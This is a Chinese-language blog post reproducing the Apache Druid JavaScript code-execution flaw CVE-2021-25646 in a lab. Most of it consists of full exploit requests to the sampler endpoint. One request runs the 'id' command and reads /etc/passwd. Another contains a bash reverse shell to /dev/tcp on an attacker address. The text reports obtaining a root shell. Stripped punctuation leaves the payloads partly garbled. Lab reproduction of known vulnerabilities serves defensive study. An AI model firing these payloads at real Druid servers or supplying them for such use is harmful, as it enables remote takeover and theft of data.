Apache Druid 代码执行漏洞(CVE-2021-25646)复现

张开发
2026/6/10 5:03:45 15 分钟阅读
Apache Druid 代码执行漏洞(CVE-2021-25646)复现
Apache Druid 代码执行漏洞CVE-2021-25646Apache Druid包括执行嵌入在各种类型请求中的用户提供的JavaScript代码的能力。这个功能是为了在可信环境下使用并且默认是禁用的。然而在Druid 0.20.0及以前的版本中攻击者可以通过发送一个恶意请求使Druid用内置引擎执行任意JavaScript代码而不管服务器配置如何这将导致代码和命令执行漏洞。漏洞复现靶机启动后访问http://your-ip:8888即可查看到Apache Druid主页。漏洞利用首先使用burpsuite抓包然后发送到Repeater。随便拿一个数据包。然后直接发送如下请求即可执行其中的JavaScript代码注意修改目标ip地址为你的靶机ipPOST /druid/indexer/v1/sampler HTTP/1.1 Host: 10.22.194.62:8888 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US;q0.9,en;q0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36 Connection: close Cache-Control: max-age0 Content-Type: application/json ​ { type:index, spec:{ ioConfig:{ type:index, firehose:{ type:local, baseDir:/etc, filter:passwd } }, dataSchema:{ dataSource:test, parser:{ parseSpec:{ format:javascript, timestampSpec:{ ​ }, dimensionsSpec:{ ​ }, function:function(){var a new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\sh\,\-c\,\id\]).getInputStream()).useDelimiter(\\\A\).next();return {timestamp:123123,test: a}}, :{ enabled:true } } } } }, samplerConfig:{ numRows:10 } }可见id命令已被成功执行反弹shell修改数据包添加如下反弹shell命令ip为本地kali的ip地址端口1234/bin/bash -c $|bash 0 echo bash -i /dev/tcp/10.132.1.173/1234 01接着本地kali监听端口1234bp发送如下请求POST /druid/indexer/v1/sampler HTTP/1.1 Host: 10.22.194.62:8888 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US;q0.9,en;q0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36 Connection: close Cache-Control: max-age0 Content-Type: application/json ​ { type:index, spec:{ ioConfig:{ type:index, firehose:{ type:local, baseDir:/etc, filter:passwd } }, dataSchema:{ dataSource:test, parser:{ parseSpec:{ format:javascript, timestampSpec:{ ​ }, dimensionsSpec:{ ​ }, function: function(value){return java.lang.Runtime.getRuntime().exec(/bin/bash -c $|bash 0 echo bash -i /dev/tcp/192.168.2.6/1234 01)}, dimension: added, :{ enabled:true } } } } }, samplerConfig:{ numRows:10 } }这里等待一会漏洞利用成功拿到root的反弹shell。

更多文章